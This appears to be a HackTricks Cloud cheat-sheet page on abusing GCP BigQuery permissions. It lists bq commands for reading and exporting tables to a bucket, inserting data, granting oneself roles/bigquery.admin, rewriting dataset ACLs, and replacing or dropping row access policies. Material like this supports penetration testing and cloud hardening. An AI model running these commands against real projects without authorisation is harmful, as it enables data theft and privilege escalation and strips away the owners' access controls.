GCP - BigQuery Privesc
Reading time: 5 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
BigQuery
For more information about BigQuery check:
Read Table
Reading the information stored inside the a BigQuery table it might be possible to find sensitive information. To access the info the permission needed is bigquery.tables.get , bigquery.jobs.create and bigquery.tables.getData:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Export data
This is another way to access the data. Export it to a cloud storage bucket and the download the files with the information.
To perform this action the following permissions are needed: bigquery.tables.export, bigquery.jobs.create and storage.objects.create.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Insert data
It might be possible to introduce certain trusted data in a Bigquery table to abuse a vulnerability in some other place. This can be easily done with the permissions bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
bigquery.datasets.setIamPolicy
An attacker could abuse this privilege to give himself further permissions over a BigQuery dataset:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update, (bigquery.datasets.get)
Just this permission allows to update your access over a BigQuery dataset by modifying the ACLs that indicate who can access it:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
An attacker could abuse this privilege to give himself further permissions over a BigQuery table:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create
According to the docs, with the mention permissions it's possible to update a row policy.
However, using the cli bq you need some more: bigquery.rowAccessPolicies.create, bigquery.tables.get.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
It's possible to find the filter ID in the output of the row policies enumeration. Example:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
If you have bigquery.rowAccessPolicies.delete instead of bigquery.rowAccessPolicies.update you could also just delete the policy:
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
caution
Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when term is Cfba, just modify all the records of the table to have term = "Cfba". However this is prevented by bigquery.
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud